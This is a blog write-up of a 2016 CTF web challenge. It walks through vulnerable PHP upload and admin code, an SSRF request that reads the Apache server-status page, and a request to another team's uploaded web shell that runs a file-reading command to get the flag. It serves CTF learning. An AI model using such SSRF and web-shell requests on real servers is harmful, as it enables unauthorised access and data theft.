First of all, wow it's been a while and a lot of things happened since last time I wrote something on my little spot of the Internet...
Last weekend I played the D-CTF Qualifiers 2016 with some friends of mine (@xarkes, jfrankowski and a new friend of mine). I was told that it is not a good CTF due to multiple problems in previous version with the challenges, where for instance some exploit challenge would not be solvable at all. And apparently it was the same this year (see the comments) and it was frustrating at some point...
However, it didn't stop us from having quite a blast. One in particular, the Super Secure Company LLC web challenge, worth 300 points. We used our best tool in French history, called puputerie, or how to gain 300 points like a dipsh*t!
If you're interested, keep reading and I hope you'll forgive me.
Super Secure Company LLC
For this challenge, you could access the source code of some pages. For instance, you could read the PHP source of the
index.php
file:
<?php /* http://10.13.37.13/?source */ /* [. . .] */ case 'print': $url = base64_decode($_REQUEST['url']); $title = ''; if(begins_with($url, $config['url'])) { $content = getContentFromUrl($url); } /* [. . .] */ case 'contact': if(isset($_POST['url-bad'])) { if(isset($_POST["captcha"])&&$_POST["captcha"]!=""&&$_SESSION["code"]==$_POST["captcha"]) { $content .= 'Success!'; $db->query('INSERT INTO `urls` (url, view) VALUES ("'.$db->real_escape_string($_POST['url-bad']).'",0)'); } /* [. . .] */ ?>
Nothing really got our attention. Reading the contact
case, we thought that it could be a cross-site request
forgery/half baked social engineering kind of challenge. But there was nothing much to see in index.php
. With some
tests, we found that the begin_with
function was checking that the URL was starting with http://10.13.37.13/
(which is not totally true, but more on that later).
After a while, we found that there was an admin.php
file as well:
<?php /* http://10.13.37.13/admin.php?source */ /* [. . .] */ //lazy admin approach to "authenticate" if($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') { die('You are not allowed.'); } /* [. . .] */ case 'logs': $title = 'Logs'; $rows = $db->query('SELECT * FROM urls WHERE view=0'); while($row = $rows->fetch_array()) { if(parse_url($row['url'], PHP_URL_HOST) != parse_url($config['url'], PHP_URL_HOST)) continue; //todo update link below $content .= '<div class="r"><a href="'.htmlentities($row['url']).'">Report '.$row['id'].'</a><a href="http://localhost/admin.php?page=hide&id='.$row['id'].'">Hide</a></div>'; } break; /* [. . .] */ ?>
The logs
case could be interesting. Combining the contact
and the logs
cases, we would have our CSRF attack:
- Report a broken link to an admin API endpoint (we have yet to find one)
- Admin sees the link in the logs page and clicks on it (simulated by a bot of some sort for the challenge we guess)
- Admin automatically executes the action and does something interesting for us (yet to be defined)
Next in the admin.php
file, we find that the upload
feature is vulnerable to arbitrary PHP file upload:
<?php case 'upload': if(isset($_POST["submit"])) { $uploadOk = 1; $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["file"]["name"]); if(strlen(basename($_FILES["file"]["name"])) < 12) { $uploadOk = 0; $content.= 'Sorry, the filename should have more characters.'; } if (file_exists($target_file)) { $content.= "Sorry, file already exists."; $uploadOk = 0; } if ($_FILES["file"]["size"] > 500000) { $content.= "Sorry, your file is too large."; $uploadOk = 0; } $extension = @explode('.', $_FILES['file']['name']); $extension = @end($extension); if($extension == '' || $extension == 'php' || $extension == 'htaccess' || $extension == 'pl' || $extension == 'py' || $extension == 'c' || $extension == 'cpp' || $extension == 'ini' || $extension == 'html') { $content.= "Sorry, invalid extension."; $uploadOk = 0; } if($uploadOk) { if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { $content.= "The file ". htmlentities(basename( $_FILES["file"]["name"]), ENT_QUOTES). " has been uploaded."; } else { $content.= "Sorry, there was an error uploading your file."; } } } ?>
We can upload a PHP file containing our backdoor using an extension like .php5
for instance. However, sending a POST
request is not possible with only a "the admin clicks on my link"-attack like the potential one in logs
. Except if
the link the admin clicked on contains malicious JavaScript (with a XSS for instance), which we started to look for.
Getting bored
Some times later, we couldn't find any XSS so I decided to fire up dirbuster
and maybe find the PHP file
implementating getContentFromUrl
used in index.php
for instance.
So we have another PHP file functions.php
but we didn't find anything interesting. Accessing the Apache
server-status
page was of course forbidden:
GET /server-status/index.php HTTP/1.1 Host: 10.13.37.13
Response from the server:
HTTP/1.1 403 Forbidden Date: Sun, 25 Sep 2016 00:14:02 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /server-status/index.php on this server.<br /> </p> <hr> <address>Apache/2.4.18 (Ubuntu) Server at 10.13.37.13 Port 80</address> </body></html>
But what if... What if we could access it after all? We could try abusing the print
feature in index.php
so that
the function file_get_contents
in getContentFromUrl
(defined in functions.php
) would be called. Would that bypass
the access restriction on the server status page?
GET /?page=print&load_template=1&url=aHR0cDovLzEwLjEzLjM3LjEzL3NlcnZlci1zdGF0dXMvaW5kZXgucGhw HTTP/1.1 Host: 10.13.37.13
(Where the url
parameter is base64 of http://10.13.37.13/server-status/index.php
)
Yes, yes it would! Now it's time to start thinking like a dipsh*t. We know that the very last stage of the challenge
is to use the PHP backdoor you previously uploaded in the directory /uploads/
. So... we could wait for another team
to solve the challenge... and use theirs!
I wrote a quick python script that would request the server status page every second and print the requests from the
Request
column. Then I would grep the logs for /uploads/
.
Getting excited again
Waiting for a match, we moved to another challenge but I kept a close eye on the terminal and a couple of hours later:
I felt excited like during my first phishing campaign! It's not everyday that you can solve a CTF challenge like a pupute :)
So we used the first PHP file that was working, ironically named supershell_you_will_never_find_2.php5
(the first
version didn't seem to work apparently haha), and injected our own commands:
GET /uploads/supershell_you_will_never_find_2.php5?1=cat+../../../../flag HTTP/1.1 Host: 10.13.37.13
And lo and behold:
HTTP/1.1 200 OK Date: Sun, 25 Sep 2016 01:35:14 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 39 Connection: close Content-Type: text/html; charset=UTF-8 DCTF{5a42e723159e537443b99ba7f95fbe04}
And there you have it: 300 points for all of our hard work!
As honest dipsh*ts, we reported the server status to the CTF admins, who removed it so nobody would take advantage of it. Because it would be a shame if someone were to abuse it... wouldn't it?
Quick word
When reading the very good and concise write up from Los
Fuzzys, we realized that our
error was to assume that the $config['url']
was http://10.13.37.13/
instead of http://10.13.37.13
, which closed
the door for the attack vector explained in the write-up.
Before leaving you for maybe another year, I apologize to the team who uploaded supershell_you_will_never_find_2.php5
for taking advantage of their hard work :/ It tasted sweet when validating the flag at that time, but it was a d*ck
move nonetheless.